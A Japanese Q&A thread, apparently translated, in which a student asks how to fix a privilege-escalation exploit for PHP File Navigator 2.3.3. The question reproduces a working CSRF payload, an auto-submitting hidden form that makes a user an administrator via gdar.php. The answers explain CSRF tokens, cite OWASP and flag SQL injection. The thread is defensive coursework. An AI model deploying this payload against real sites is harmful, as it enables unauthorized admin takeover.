web-dev-qa-db-ja.com

このphpエクスプロイトコードの可能な対策/修正?

この特権昇格エクスプロイトコードは、exploit-db脆弱性Webサイトで見つかりました。割り当てとして、このエクスプロイトを修正するために使用する対策を決定する必要があります。割り当て基準の一部として、修正をコーディングする必要があります。

私はまだ脆弱性とphpを悪用することに慣れていないので、これを修正する方法を理解するのに少し苦労しています。最小特権または特権分離の実装を検討しましたが、これらがどのように実装されるかわかりません。この脆弱性に対する適切な対策または修正は何でしょうか?

システム:PHP File Navigator 2.3.3

エクスプロイトコード:

<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()

}
</script>
<body onLoad="pwn()">


<!-- Escalate privs to that of Admin -->

<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>

</body>
</html>
2
Osiris93

これは間違いなく CVE-2011-3775 のエクスプロイトではありません。これは、重大度の低い情報漏えいの脆弱性です。

これは [〜#〜] csrf [〜#〜] 脆弱性のエクスプロイトであるため、これを防御する必要があります。たとえば、 CSRFに対する防御に関するOWASP を参照してください。

1
tim

したがって、これの全体的な問題は、そのフォームをgdar.phpに任意に送信できることです。 gdar.phpは、特定のページからの情報の投稿のみを許可する必要があります。これは、Cookie /セッショントークンを使用して実行し、特定のページにあり、特定の権限を持つ特定のユーザーであることを確認できます。 CSRFの防止の詳細については、 OWASP PHPセキュリティに関するチートシート )を確認してください。

コードgdar.phpを見ると、送信されたテキストが投稿フィールドからクエリに直接取り込まれるため、SQLインジェクションの影響を受けやすいようにも見えます。 PHPでSQLiを停止するための this リソースを確認してください。

0
Ryan Kelso